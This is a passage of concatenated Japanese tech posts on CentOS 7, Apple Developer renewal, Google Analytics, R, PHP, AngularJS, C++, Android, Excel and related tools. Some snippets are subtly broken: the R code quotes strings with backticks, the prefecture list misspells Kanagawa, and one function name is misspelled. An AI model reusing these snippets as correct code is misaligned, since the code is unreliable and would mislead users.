　$ services サービス名 status　#Ver6以前
　$ systemctl status ユニット名　#Ver7めー
・sshユーザもchrootで間違いをおこさせないとかできるみたいなんで、私のように裏でzabixがりがりリソース100％状態で、間違ったrmワンライナーで/var以下を書き損じてバチバチしてたら消えているメッセージだけが浮かんでく～る～という恐怖は誰にも経験させたくないので素敵やん。
・SELinuxが上記の制御をする。disable処理はしないのか今後。
・iptablesのほかにfirewalldでも通信遮断管理するということ。おそらくfirewalldでWindowsのあれな動的管理になるんですかね。アプリをインストールしてから新たな通信を見つけて、「このポートどうする？」みたいな。でもCLIでもおなじなのかなーー。
・仮想化として明示的にサポートをしたので「仮想専用OS」って言い切りたいですー。まあ今までも支障はなかったですが、crockとかドライバなど物理同期が必要個所の修正があったようですね。
・64bitのみでーす。
**新しい波には流されず、逆に乗りこなしてやろう！そう、それができるのはiphoneだけ**

# 実際につこてみよう。

```rb.firewall
[root@localhost ~]# firewall-cmd --permanent --add-service=http
success
[root@localhost ~]# firewall-cmd --permanent --add-service=https
success
[root@localhost ~]# firewall-cmd --reload
success
```
おっと、事前準備をする方法を記載してますが、勝手に検出確認してくれんのかな。

こんな感じでサービスを起動しました。

```rb.service
[root@localhost ~]# systemctl start httpd.service
[root@localhost ~]# systemctl is-active httpd.service
active
[root@localhost ~]# systemctl enable httpd.service
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
```





＝工事中＝
AppleDeveloperProgramをクレジットカードを使わずに更新する方法

# クレジットカードを使いたくない！
* 法人名義のクレジットカードで決裁をとおすのはなかなか難しいですよね…
* でもAppleStoreGiftCardを使えばクレジットカードを使わずに更新できます！

# AppleStoreGiftCardをつかって決済するぞ！
<img width="993" alt="apple_store_gift_card.png" src="https://mixi.qiita.com/files/69f3266e-91a0-78ef-9aaf-8e4221a78aaa.png">

## 1. 決裁をとおす
* 弊社ではまずギフトカードを使うための決裁申請書をとおしますが、これは会社によると思います

## 2. AppleStoreGiftCardを購入する
* 近くのAppleStoreで**税込価格**のギフトカードを買います
  * 上記決裁画面まで進まないと 税込価格が表示されないのではじめ税抜価格で決裁申請してしまいました(> <)
  * 自分が店頭で買った時は、店員に「AppleDeveloperProgramをギフトカードで更新したい」と伝えたら、クレジットカードしか使えなくない？！と、わちゃわちゃしましたが、ギフトカードでも大丈夫です！ 
* ここからWebからでも購入できます（ http://www.apple.com/jp/shop/gift-cards ） 
* 上記スクショにもありますが、**iTunesカードでは契約更新できないので誤ってiTunesカードを買わないよう注意**

## 3. PINコードを入力する
* アカウントでログインして決裁画面まで進み、ギフトカードの**PINコード**を入力する
* PINコードは裏のシールを剥がしたとこにあります（最初カード番号入力して弾かれて焦りましたｗ）
* 適用を押すとプリペイドカードから金額がひかれます

## 4. 更新されているのを確認する
* まず確認メールが来ます
* ~~その後、数日中に ActivationCode が送られてきますのでクリックすれば更新が完了します~~
* ~~iOSDevCenterから Account > Membership で ExpirationDate が更新されているはずです~~
* 有効期限を過ぎると自動的に更新されます

## 補足
* AppleDeveloperEnterpriseProgramでもこの方法で決裁できました！
【Analytics】データをSpreadsheet、エクセル、PDFで出力する方法

このページではAnalyticsに記載されている数値データをエクセルやSpreadsheet、PDFファイルなどで出力する方法を記載しています。

#目的

数値データを転記する際に、目視でデータを入力しているととても非効率です。
欲しいデータはAnalyticsで取得し、Spreadsheetやエクセルで一括出力し、パッとグラフ化して作業の効率化を図りましょう。

また、顧客向けのレポート作成や資料作りに、今見ている画面をそのままPDF出力する機能もあるのでぜひ覚えましょう。

#やり方

##Spreadsheet、Excelファイルで出力する

###データ表示画面→エクスポート→CSV、Googleスプレッドシート

欲しいデータの画面を表示してから…

![スクリーンショット 2016-05-25 19.36.49.jpg](https://media.qiita.com/files/bef22dee-e4d0-f6ca-186a-cb6f91651c92.jpeg)

ここではスプレッドシートを選択します

![スクリーンショット 2016-05-25 19.37.33.jpg](https://media.qiita.com/files/8148fe1e-4dee-d9ae-a815-bb9e47c22961.jpeg)

気にせずimport the dataをクリックします。
（マイドライブにファイルが作られるので、定期的に掃除をしましょう）

![4cb64e18-1d57-465d-d477-7ca498b40226.jpeg](https://qiita-image-store.s3.amazonaws.com/0/50485/6835150b-a08b-aaa1-fd79-b2cca3cfe990.jpeg)


このようにデータが出力されます。
スプレッドシートにはエクセルファイルのエクスポート、インポート機能が付いているので、クラウド上で管理ができるスプレッドシートでデータを調整して、エクセルファイルへの出力がおすすめです。

##PDFファイルで出力する

![スクリーンショット 2016-05-25 19.36.49.jpg](https://media.qiita.com/files/4c10210b-2751-49b8-a143-709088ac28f0.jpeg)

この画面でPDFを選択。
しばらくするとファイルがダウンロードされます。

![4a5b3a25-73ff-28f1-daf4-fa35981be3b6.jpeg](https://qiita-image-store.s3.amazonaws.com/0/50485/0377987d-4e21-5b0f-d624-b5074f03a8a7.jpeg)

このように今見ている画面がそのままレポート出力されます。
顧客にPDFファイルを渡す場合は画面上に変な情報が入っていないかだけ注意しましょう。

#おわりに

最後まで見て頂いてありがとうございました。
普段はウェブやメディア制作に関わるお仕事でSEOやGoogle Analyticsを使用した分析を担当しています。

この記事がお役に立ちましたら
是非シェアをお願いします╭( ・ㅂ・)و ̑̑
Analyticsって同じサービスのアプリとウェブを同時に計測できるの？

このページはAnalyticsが同じサービスでウェブとアプリに展開しているものや、姉妹サイトとして合同で数字を計測したい時に役立ちます。

#やりたいこと

![IMG_4092.JPG](https://media.qiita.com/files/65e3ded0-64f1-b4ca-4c65-57aa21c5841c.jpeg)


![IMG_4093.JPG](https://media.qiita.com/files/5e84e829-8305-4c21-fd81-bc439fca5d39.jpeg)

#結論

出来る場合と出来ない場合があります。

#どういうことなの？

- ウェブサイトの場合は同じドメインなら可能

出来る→www.example.com　と　example.com
　　　→example.com/aaa/hoge.html　と　example.com/bbb/hoge.html

出来ない→example1.comとexample2.com

- アプリの場合はウェブから情報を引っ張っている構成であれば可能

#やり方

##ウェブサイトの場合

上記の画像では、サイト1と2のプロパティが分かれており、ビューで合算の数字を計測出来ません。
それを解消するには**同じトラッキングID(トラッキングコード)を貼り付ければ良い**のです。

「バカヤロウ！そんなことしたらデータがめちゃくちゃになるだろう！」

と思う人がいるかもしれませんが、それはAnalytics側で対応可能です。
2枚目の画像のようにフィルタをかけて複数のビューを作成し、データを切り分けます。

###導入方法

１．1つのトラッキングコードを生成
２．同時計測するサイトに埋め込み
３．Analyticsのフィルタでサイト指定

![スクリーンショット 2016-06-02 11.43.17.jpg](https://media.qiita.com/files/1cd4fff6-c36b-c349-df57-bbea31cff7e3.jpeg)

こんな感じで/aaa/のディレクトリがある方のビューを作る。
同様に/bbb/を作成して、フィルタ掛けてない全体ものを用意すればOK

ちなみにこの機能使えばデバイス別のビューなんかも作れますよ

##アプリとウェブの場合

※(少し不確定なので注意)

アプリとウェブでも同じトラッキングIDを入れることで計測できます。
アプリではSDK形式になっているのでタグの形は違いますが、IDを統一することで１つのプロパティで管理可能です。

- [ビューについて - Googleサポート](https://support.google.com/analytics/answer/2649553?hl=ja)

しかし、ウェブで計測する場所はページ。
アプリで計測する場所はスクリーンになっています。
アプリとウェブと同時計測する場合、アプリ設計の段階でウェブのデータ(ページ)を引っ張ってきて、整形して表示するような造りにする必要があります。

つまり

- ウェブのTOPページ　→　index.html
- アプリのTOPページ　→　ウェブの[index.html]を整形表示

という形式になっていれば計測できます。
アプリはアプリで独自設計になっていたりウェブページと紐付いていない場合は不可能です。

この設計になっているのであれば
フィルタ設定でこれでアプリだけの情報を取得できます

![スクリーンショット 2016-06-02 11.26.46.jpg](https://media.qiita.com/files/9ec2eb59-3c36-df84-0691-f94b21bbc73b.jpeg)

#おわりに

最後まで見て頂いてありがとうございました。
普段はウェブやメディア制作に関わるお仕事でSEOやGoogle Analyticsを使用した分析を担当しています。

この記事がお役に立ちましたら
是非シェアをお願いします╭( ・ㅂ・)و ̑̑
PHPでquery stringの組み立て

query stringの組み立てをforeachを使って、自前でやってるソースを見かけた。
そんなに、一緒懸命やらなくてもそういう関数用意されてるよ！ってことでメモする。

[http_build_query](http://php.net/manual/ja/function.http-build-query.php)

```php
<?php
$queryArray = [
  "category" => "pro",
  "type" => 0,
  "page" => 1
];

$queryString = http_build_query($queryArray, '', '&');

echo $queryString;
// => category=pro&type=0&page=1
```
都道府県プルダウンを生成するディレクティブ

都道府県マスタがない条件で都道府県プルダウン作るのクソめんどい！！
・・・のでプルダウンを生成するディレクティブ作った。

```js
var app = angular.module('app' []);
app.directive('prefectureList', [function() {
    return {
        restrict    : 'EA',
        require     : '^ngModel',
        replace     : true,
        template    : 
            '<select>'
                +'<option value="">都道府県</option>'
                +'<option ng-repeat="pref in prefectures" value="{[{ pref }]}">{[{ pref }]}</option>'
            +'</select>',
        controller  : function($scope) {
            $scope.prefectures = [
                '北海道', '青森県', '岩手県', '宮城県', '秋田県', '山形県',
                '福島県', '茨城県', '栃木県', '群馬県', '埼玉県', '千葉県',
                '東京都', '神奈県', '新潟県', '富山県', '石川県', '福井県',
                '山梨県', '長野県', '岐阜県', '静岡県', '愛知県', '三重県',
                '滋賀県', '京都府', '大阪府', '兵庫県', '奈良県', '和歌山県',
                '鳥取県', '島根県', '岡山県', '広島県', '山口県', '徳島県',
                '香川県', '愛媛県', '高知県', '福岡県', '佐賀県', '長崎県',
                '熊本県', '大分県', '宮崎県', '鹿児島県', '沖縄県'
            ];
        }
    };   
}]);

/* 
// HTMLにはこう書く (name = selectタグにつけるname値)
<prefecture-list name="prefecture"></prefecture-list>
// restrictには'A'も指定してるので下記でもOKのはず
<div prefecture-list data-name="prefecture"></div>
// (Angularで)必須にしたいならrequiredをつける
<prefecture-list name="prefecture" required></prefecture-list>
*/
```

valueには都道府県コードを使いたい？ 改変してくださいｗ
Rで大量データを読み込む~read.csvとfreadを比較~

## 導入
`fread()` はRで用いる関数で、.csv, .tsv などのテキストファイルから２次元のテーブル形式にデータを読み込みます。
同系統の関数`read.table`, `read.csv`より読み込み速度が早いメリットがあります。
`data.table` というパッケージに同梱されているので、インストール未完の場合は、先にインストールしましょう。

```:R
install.packages("data.table")
library(data.table)
```

## 大量データの読み込み
* 大量データを読み込むときはdata.tableのfread関数を使うのがおすすめ
* 試しに270万レコードを読み込ませた

read.csv()の場合59.15秒

```:R
temp8 <- read.csv(`2410689.csv`, encoding=`UTF-8`, stringsAsFactors=F, sep=`,`)
```

fread()の場合6.39秒

```:R
library(data.table)
temp7 <- fread(`2410689.csv`, stringsAsFactors=FALSE, encoding=`UTF-8`, sep=`,`)
```

## data.tableとdata.frameの違い
* data.tableパッケージは大規模データを高速に処理できるようにR組み込みのdata.frameクラスを拡張したもの
* data.frame()関数と同じようにdata.table()関数によりdata.tableオブジェクトを作成できる
* fread()関数によってディスクから大規模データを高速に読み込むことができる
* read.table()などよりも自由度は落ちるが、処理速度は遥かに高速

## 注意点
* data.table型でdata.frame型と同じ処理をしても出来ない場合がある

data.frame型

```r
temp <- read.csv(`Spdata.csv`, stringsAsFactors=FALSE, sep=`,`)
temp2 <- temp[, (colnames(temp)%in%c(`Date`, `Rank`))]
names(temp2)
```

```
## [1] `Date` `Rank`
```

```r
head(temp2)
```

```
## 1  1日    5
## 2  1日    5
## 3  1日    5
## 4  1日    5
## 5  1日    5
## 6  1日    5
```

data.table型

```r
library(data.table)
temp <- fread(`Spdata.csv`, stringsAsFactors=FALSE, sep=`,`)
temp2 <- temp[, (colnames(temp)%in%c(`Date`, `Rank`))]
names(temp2)
```

```
## NULL
```

```r
head(temp2)
```

```
## [1]  TRUE  TRUE FALSE FALSE
```

## fread関数でdata.frame型で読み込みたいときは。。。
* data.table = FALSE を入れると大丈夫！！

```r
library(data.table)
temp <- fread(`Spdata.csv`, stringsAsFactors=FALSE, sep=`,`, data.table = FALSE)
temp2 <- temp[, (colnames(temp)%in%c(`Date`, `Rank`))]
```

```
## [1] `Date` `Rank`
```

```r
head(temp2)
```

```
##   Date    Rank
## 1  1日    5
## 2  1日    5
## 3  1日    5
## 4  1日    5
## 5  1日    5
## 6  1日    5
```

## 参考
http://statsbeginner.hatenablog.com/entry/2014/09/06/170214
http://kohske.github.io/ESTRELA/201410/index.html
トレジャーデータへコマンドラインからアクセスする方法

## cmdからトレジャーデータにアクセスする方法
* Treasure Data Toolbeltを以下URLからインストール
http://ybi-toolbelt.idcfcloud.com/

* コマンドプロンプトから、以下コマンドを入力

~~~
td -e https://ybi.jp-east.idcfcloud.com account -f
~~~
* いつもトレジャーデータの接続に使用しているEmailとPasswordを入力



## トレジャーデータからCLI Download をする方法
* トレジャーデータの対象jobページにアクセスし、CLI DOWNLOADをクリック

* 以下のようなコマンドが表示されるのでコマンドプロンプトから入力

~~~
td job:show 2410731 -f csv -o 2410731.csv --column-header
~~~

## cmdからトレジャーデータにクエリを投げる方法
* 以下のようなコマンドをコマンドプロンプトから入力

~~~
td query -w -d next_grc `SELECT * FROM serps;`
~~~
* -w: 結果が返って来るまで待機
* -d: database DB_NAME
semLibraryを使用したモデル分析ことはじめ

## 1.進捗共有
### 【モデル分析】
- semLibraryを使用したモデル分析ことはじめ。
- とりあえず簡単なsampleを実行してみる。

参考サイト:[Rで共分散構造分析・構造方程式モデル](http://www.okadajp.org/RWiki/?R%E3%81%A7%E5%85%B1%E5%88%86%E6%95%A3%E6%A7%8B%E9%80%A0%E5%88%86%E6%9E%90%E3%83%BB%E6%A7%8B%E9%80%A0%E6%96%B9%E7%A8%8B%E5%BC%8F%E3%83%A2%E3%83%87%E3%83%AB#q59a14d4)


```{r}
library(sem)

#データ読み込み
dat <- read.csv(`ltest.csv`, header=TRUE, fileEncoding = `CP932`)

#相関行列 <- とりあえずこっち使う
r <- cor(dat)
#共分散行列
cov <- cov(dat)

#モデル作成
model <- specifyModel(
text=`
keyword_category -> rank,	a1,	NA
keyword_category_p1 -> rank,	a2,	NA
keyword_category_p1 <-> keyword_category,	a3,	NA
keyword_category <-> keyword_category,	seed1,	NA
keyword_category_p1 <-> keyword_category_p1,	seed2,	NA
rank <-> rank,	e1,	1
`)

#sem分析をかける
ans <- sem(model,r,nrow(dat))

#結果をサマる
sumally(ans)

#結果を図に出力
pathDiagram(ans, `dat`, ignore.double=FALSE, edge.labels=`values`, digits=3, node.font=c(``, 8))
```

![151116163721_Rplot.png](https://qiita-image-store.s3.amazonaws.com/0/127228/8fbbce34-fab7-8c67-4237-59d37962ab30.png)

### 【今後起きる問題】
- 日本語が文字バケる
→外部出力して別のアプリケーションで読みこめば行けるらしい。or数名を英字表記で対応

- 複雑なモデルを簡単に出力できるような工夫が必要になりそう。
→Excelで自動的にモデルを出力したりみたいな？
シングルトンパターンの意義

このようなQ&Aを見かけました。
[Java - シングルトンがなぜ必要なのか(36721)｜teratail](https://teratail.com/questions/36721)

7件も回答が付いているものの全体的に「同じクラスのインスタンスが複数作られないように」という点について述べており、**そこじゃないんだよ！**という結果になっております。
そこじゃないんです。よろしいですか、インスタンスを1個しか作っていけないようなクラスがあるならば、それはそもそもインスタンス化させる必要のないクラス、メソッドをすべてstaticメソッドとして装備したクラスであればよいのです。

シングルトンパターンの意義を説明するには「**なぜstaticメソッドとして用意すればいいものをわざわざ遠回りしてシングルトンパターンにするのか**」を説明しなければいけないのです。
そこを押さえずにシングルトンパターンの書き方だけ憶えていると、こういうことを言われてしまう。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">ハンマー釘病はソフトウェア業界における深刻な病です。私の独自調査によると、singletonクラスの9割はデザパタハンマー釘病患者によって書かれています。</p>&mdash; 葛 (@kudzu) <a href="https://twitter.com/kudzu/status/734977760355962881">2016年5月24日</a></blockquote>

では、staticメソッドにしない意義は何ですかと。上記の質問のベストアンサーで触れている`System.out`を例にとるなら、なぜ`System.println`というメソッドが用意されておらず、シングルトン`out`を通じて`System.out.println`と呼び出さないといけないか。

それは、`out`が`PrintStream`インターフェースを実装しているからです。`PrintStream`インターフェースを軸に、プログラムを変更することなく出力先を自由に差し替えられる仕組みとして提供されているからです。一般化して、シングルトンパターンを使う理由はこう説明しないといけないのです。

「**本来staticメソッドとして提供したい機能だがそれではインターフェースを実装できないのでインスタンスメソッドとして提供する。このときに多重インスタンス化を避けるため。**」
Android 6 で Beacon を使うには


Android 5 では動く AltBeacon が Android 6.0 ではエラーを吐いて動かなかった。

```
 D/BluetoothLeScanner: could not find callback wrapper
```
<br>
AndroidManifest.xml の記述だけではだめらしい。


```
# AndoidManifest.xml
 <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
```
<br>

[【Is Your Beacon App Ready for Android 6.0?】](http://developer.radiusnetworks.com/2015/09/29/is-your-beacon-app-ready-for-android-6.html)

ここにあるようにコードを加えて、ロケーションアクセスをダイアログで許可するようにして、やっと動くようになりました(>.<)ノ


```
public class MainActivity extends AppCompatActivity implements BeaconConsumer {

   private static final int PERMISSION_REQUEST_COARSE_LOCATION = 1;

   @Override
   protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);

      // Android M Permission check

      if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
         if (this.checkSelfPermission(android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
            requestPermissions(new String[]{android.Manifest.permission.ACCESS_COARSE_LOCATION},PERMISSION_REQUEST_COARSE_LOCATION);
         }
      }
```
unique_ptrでデストラクタをprivateに持つクラスを使う

下記のようなクラスを書いてコンパイルすると怒られます。

```cpp
class GameUser final
{
public:

    GameUser(const GameUser&) = delete;
    GameUser& operator=(const GameUser&) = delete;

    static GameUser* getInstance();

private:

    GameUser() = default;
    ~GameUser() = default;

    static std::unique_ptr<GameUser> _instance;
};
```
```
Calling a private destructor of class 'GameUser'

GameUserクラスのデストラクタがプライベートで呼べない(´・ω・)
```


対応
----------------------------------------------------------

`std::unique_ptr<>::deleter_type`を`friend`にする。

```cpp
class GameUser final
{
    // 省略

    friend std::unique_ptr<GameUser>::deleter_type;
    // または
    friend decltype(_instance)::deleter_type;
};
```
Kotlin+Realmで*** is not part of the schema for this Realm問題にハマった

こんにちは[@u_nation](https://twitter.com/u_nation) です。

タイトルの通り、**IllegalArgumentException: *** is not part of the schema for this Realm** というエラーに悩まされていました。

原因は単純なもので_build.gradle_の設定で

```groovy
apply plugin: 'realm-android'
apply plugin: 'kotlin-android'
```

としていたのですが、正しくは

```groovy
apply plugin: 'kotlin-android'
apply plugin: 'realm-android'
```

の順番でした。gradle力の低い私にはpluginの順番が影響するとは知りませんでした。。

realm-javaのkotlin exampleでは正しい順番で書かれているので私のようなミスに陥る人は皆無だとは思いますが、
一応Realmの中の人にSlackで報告したところドキュメントに追加してくれるとのことでした(>_<)

同じようなエラーでハマっている方の助けになれば幸いです。以上です。
[Excel] 別のシートの同じ文字列のある行を引っ張って色々したい

#参考例：αチームとβチームのリストがあって、○×表とか作りたい

![WS000.JPG](https://qiita-image-store.s3.amazonaws.com/0/36476/e4c8cbbe-e689-f139-cb0c-3ce7f5160dd2.jpeg)

- 左の表から右の表の○を表示させたい！というのがゴール
- 今回の図は見やすいように、空白を作っていますが、実際のデータだと空白がないのが普通
- 今回はαチーム、βチームの2種類しかないけど、これがだんだん増えてくると億劫

といったようなことが考えられるので、なんとか自動で右の図のように○を埋められないかなと画策する。

# 結果

![WS001.JPG](https://qiita-image-store.s3.amazonaws.com/0/36476/978c3cc8-a17b-da1a-5af7-53efea2fc79e.jpeg)

## セル色の説明

- 青色：変数。
- 薄緑色：関数で出しているセル

## 関数と説明

今回は2種類の関数を使って出しています。

### 3行目のB3

```
=SUBSTITUTE(ADDRESS(1,MATCH(B4,INDIRECT(B$1&"!"&B$2&":"&B$2),0),4),1,"")
```

- Sheet1の「αチーム」がどの列なのかを割り出してます
- 使ってる変数
    - B4 特定したいカラムの文字列
    - B1 対象となるシート名
    - B2 対象となる行
    - Sheet1の1行目で「αチーム」が何番目かを調べます
- MATCH関数で、上で指定した行の中でどの列にあたるかを割り出します
- SUBSTITUTE/ADDRESS関数で、数字からアルファベットに変換してます
- Ctr+RしてもOK

### 5行目のB5

```
=IFERROR(IF(MATCH($A5,INDIRECT(B$1&"!"&B$3&":"&B$3),0)>0,"○",""),"")
```

- 上で割り出した列の中に同じ名前が存在するかを割り出してます
- 変数
    - A5 検索したい文字列
    - B1 検索の対象となるシート名
    - B3 検索の対象となる列
- MATCH関数で名前（ここだとA列）と完全一致する行を割り出します
- 数字があるなら存在するということで、IF関数で0より大きかったら"○"とします
- 存在しない場合は#N/Aなので、IFERRORで空白表示処理をします
- Ctr+RしてもOK
- Ctr+DしてもOK
- 応用
    - シートが同じなので省略したい
        - INDIRECT関数内「B$1&"!"&」を削除
    - 列番号を直接指定したい
        - 3行目の英数字に直接入力する
OSX のターミナルから、osascript で新しいウィンドウを開く

# 訂正
本記事は元々コマンドでターミナルを開くという内容だったのですが、これは`open -a Terminal /foo/bar` で問題なく可能でありました。とりあえず即記事を消すのも何なので `osascript` からの Terminal 呼出例として、タイトル変更して記事を残しておきます。

# 背景
~~Mac OS X のターミナルは、`⌘N` で新規シェルウィンドウを開けますが、ホームディレクトリが基準になりますよね。~~

`xterm` とか `xterm /foo/bar` みたいな感じに、コマンド一発で望みのディレクトリをカレントにしてウィンドウを開くコマンドを osascript で実装してみます。

# 実現
次のシェルスクリプトを `osxterm` というファイル名でパスの通った場所に保存します。`chmod ugo+x` などして実行パーミッションも有効にしておきます。

```bash:osxterm
#!/usr/bin/env sh
[ "X$1" != "X" ] && D="$1" || D='.'
osascript -e "tell application \"Terminal\" to do script \"cd '$D';clear\"" > /dev/null
```

んで、カレントディレクトリで新しいターミナルを開く

```shell-session
$ osxterm
```

んで、パスを指定して新しいターミナルを開く

```shell-session
$ osxterm /foo/bar
```

# おわりに
~~今回は`osascript`を使いましたが、`open`コマンドでもできるのかな？
実は組み込みでコマンドがあったらすんません。~~
~~ググったけどなさそうだったので。~~

→ ありました。すんません。
OpenWeatherMapでTwitterに天気予報botを作る

#動機
天気予報見てなかったら洗濯物が全滅した

#OpenWeatherMap
##使い方
解説はすでにあるので悩んだところだけ
Freeのプランで選択できるのは`Current weather data`、`5 day / 3 hour forecast`、`Weather map layers`の三つ。今回は予報がしたいので`5 day / 3 hour forecast`を選択。

```php
$json = file_get_contents("http://api.openweathermap.org/data/2.5/forecast/city?id=(都市のID)&APPID=(APIのキー)");
$row_data = json_decode($json,true);
```

とすれば簡単に配列に予報データが入る。

```php
array(5) {
  ["city"]=>array(6) {
    ["id"]=>int(都市ID)
    ["name"]=>string(11) "都市名"
    ["coord"]=>array(2) {
      ["lon"]=>float(経度)
      ["lat"]=>float(緯度)
    }
    ["country"]=>string(2) "JP"
    ["population"]=>int(0)
    ["sys"]=>array(1) {
      ["population"]=>int(0)
    }
  }
  ["cod"]=>string(3) "200"
  ["message"]=>float(0.0207)
  ["cnt"]=>int(37)
  ["list"]=>array(37) {   //ここのlistに予報データが全部格納されてる
    [0]=>array(8) {
      ["dt"]=>int(1464858000)
      ["main"]=>array(8) {
        ["temp"]=>float(22.91)
        ["temp_min"]=>float(21.32)
        ["temp_max"]=>float(22.91)
        ["pressure"]=>float(1015.57)
        ["sea_level"]=>float(1019.24)
        ["grnd_level"]=>float(1015.57)
        ["humidity"]=>int(51)
        ["temp_kf"]=>float(1.58)
      }
      ["weather"]=>array(1) {
        [0]=>array(4) {
          ["id"]=>int(800)
          ["main"]=>string(5) "Clear"
          ["description"]=>string(9) "clear sky"
          ["icon"]=>string(3) "01d"
        }
      }
      ["clouds"]=>array(1) {
        ["all"]=>int(0)
      }
      ["wind"]=>array(2) {
        ["speed"]=>float(7.51)
        ["deg"]=>float(356.006)
      }
      ["rain"]=>array(0) {
      }
      ["sys"]=>array(1) {
        ["pod"]=>string(1) "d"
      }
      ["dt_txt"]=>string(19) "2016-06-02 09:00:00"
    }
以下略
```

`["list"]`以下に単純に番号が振られて予報データが入っている。`["dt_txt"]`でほしいデータを見分けないといけない。
今回ほしかったのは`["weather"]["id"]`。ほしいデータは選んで取得できないので全部取ってこないといけない（当然）。
`["cod"]`がステータスなので、200以外だったらエラーなのかもしれない。あと時間は`UTC`なのでそこも注意。
これで天気IDが取得できるので、
>http://openweathermap.org/weather-conditions

を参考に`switch-case`とか使っていい感じに。
800番台なら晴れorくもり
700番台なら霧とか砂嵐とか
600番台なら雪
500番台なら雨
300番台なら霧雨
200番台なら雷雨
900番台ならやばい

900番台は起こり得るのかな？天気アイコンもないみたいだし、天気じゃなくて風とかだし無いのかも。

#Twitter
Twitterに投稿するところはmpywさんの`TwistOAuth`を使えば一瞬なので省略。
>参考
>http://qiita.com/tsunet111/items/9309801cd3e3bcf6e32a#comment-c9e56af1c481560cb642

ほんとはOpenWeatherMap側が提供している天気アイコンの画像付きでツイッターに投稿しようかなと考えていたのですが、毎回同じ画像をアップロードするのもなぁと思ってやめました。絵文字で代用できるしね。同じ画像を複数の投稿で共有って無理かな、無理だよね。
#まとめ
超簡単に天気予報bot作れました。あまり参考にならないかもしれませんが、ほんとにこれだけです。
Google App Engine [Java] で異なる App ID 環境でソースファイルを使い回す方法

こんにちは wezardnet です。今回は備忘録的な内容を書くことにします。

弊社内の某プロジェクトでは、テスト環境と本番環境を異なる App ID で分けています。テスト環境で動作確認して OK であれば本番環境にソースファイルを移すようにしています。このとき、以下のようなケースでコード内に自身の URL をベタ書きしていると、単純にソースファイルを移すことができません。

- JavaScript, CSS や画像ファイルを参照している場合（相対パスが使えないガジェットなど）
- Ajax などで Web サービスを呼び出している場合


# 動的ファイルの場合
動的に HTML を生成して出力している場合は Google App Engine API の [SystemProperty](https://cloud.google.com/appengine/docs/java/javadoc/com/google/appengine/api/utils/SystemProperty) を使って実行環境の App ID を取得することができるので URL の App ID 部分を置き換えるように実装すれば良いです。

また、開発環境（localhost）とプロダクション環境の判別は SystemProperty.environment によって分岐することができます。

　**開発環境（localhost）の実行例**
　![dev.png](https://qiita-image-store.s3.amazonaws.com/0/12023/8751b2d4-66ca-bdee-55a9-0ecbf1c6375d.png)

　**プロダクション環境の実行例**
　![pro.png](https://qiita-image-store.s3.amazonaws.com/0/12023/f6b4f00c-5255-fc6b-f78c-2a2f1ea57b17.png)

上記、実行例のコードを示します。

```java:EnvController.java
import com.google.appengine.api.utils.SystemProperty ;

try ( PrintWriter writer = this.response.getWriter() ) {
	writer.println("applicationId : " + SystemProperty.applicationId.get() + "<br />") ;
	writer.println("applicationVersion : " + SystemProperty.applicationVersion.get() + "<br />") ;
	writer.println("environment : " + SystemProperty.environment.value().toString() + "<br />") ;

	writer.println("GAE Version : " + servletContext.getServerInfo() + "<br />") ;
	writer.println("ContextPath : " + servletContext.getContextPath() + "<br />") ;
	this.response.flushBuffer() ;
}
```


# 静的ファイルの場合
静的に配置する .xml や .js といったファイルの場合は [Maven Resources Plugin](http://maven.apache.org/plugins/maven-resources-plugin/) を利用して、環境依存の値を置き換えることで実現できます。まずは pom.xml に置き換える文字列を定義します。以下 {App ID} と {App Version} の部分は自身の環境に合わせて書き換えてください。

```xml:pom.xml
<properties>
  <appengine.app.name>{App ID}</appengine.app.name>
  <appengine.app.version>{App Version}</appengine.app.version>
  <appengine.target.version>1.9.38</appengine.target.version>
</properties>
```

次に置き換えるファイルの配置場所を指定します。下記の例は gadgets フォルダ配下の .xml ファイルを対象にしています。

```xml:pom.xml
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-war-plugin</artifactId>
  <version>2.3</version>
  <configuration>
    <webResources>
      <resource>
        <directory>${basedir}/src/main/webapp/gadgets</directory>
        <filtering>true</filtering>
        <targetPath>gadgets</targetPath>
      </resource>
    </webResources>
  </configuration>
</plugin>
```

ガジェット定義ファイル（.xml）の中で参照する自身の js ファイルのパスで App ID の部分は「${appengine.app.name}」と書きます。

```xml:dummy.xml
<?xml version="1.0" encoding="UTF-8" ?>

<Module>
  <ModulePrefs 
    title="ダミーガジェット" 
    height="100" 
    scrolling="false">
  </ModulePrefs>

  <Content type="html">
  <![CDATA[
    <html>
      <head>
        <script src="https://${appengine.app.name}.appspot.com/dummy.js"></script>
      </head>
      <body>
        <p>これはダミーのガジェットです</p>
      </body>
    </html>
  ]]>
  </Content>
</Module>
```

これでプロジェクトをビルドすれば dummy.xml ファイル内の「${appengine.app.name}」の部分が pom.xml で記述した値に書き換わります。

他にも上手い方法があるかも知れませんが、実際に検証した方法を備忘録も兼ねて書きました。どこかで参考になればと思います。
VirtualBoxをインストール中、「VirtualBox.pkgを検証中」から進まない時の対応

新しいmacにVirtualBoxを入れようとして表題の件の現象が発生して小一時間悩んだのでメモ。

https://forums.virtualbox.org/viewtopic.php?f=8&t=77122

下記を実行

```
sudo installer -package /Volumes/VirtualBox/VirtualBox.pkg -target /
```

これでインストールされる。
Unityフォルダ構成のルールについて

# UnityのAssets内フォルダ構成について
以下の様なルールで配置していくといいと思います。

| フォルダ名       |  用途    |
|:-----------------|:-------------------|
|Scenes|ゲームのシーンを置く|
|Prefabs|ゲーム内で繰り返し使用するObject（Prefab）を置く|
|Scripts|ゲーム内で使うスクリプト（.csや.js）を置く|
|Animations|ゲーム内で使うアニメーションを置く|
|Materials|ゲーム内のObjectに設定するマテリアルデータ（色とか光沢とか）を置く|
|Physics Materials|ゲーム内の物理エンジンで使用するPhysics Materialsを置く|
|Fonts|ゲーム内のフォントデータを置く|
|Textures|画像ファイルを置く|
|Audio|ゲーム内のBGMやSEなどのサウンドデータを置く|
|Resources|（特殊フォルダ）Resources.Loadで読み込むファイルを置く|
|Editor|（特殊フォルダ）Unityのエディタ拡張のためのスクリプトを置く|
|Plugins|（特殊フォルダ）ネイティブプラグインやその他プラグインを置く|


（参考）特殊なフォルダ名
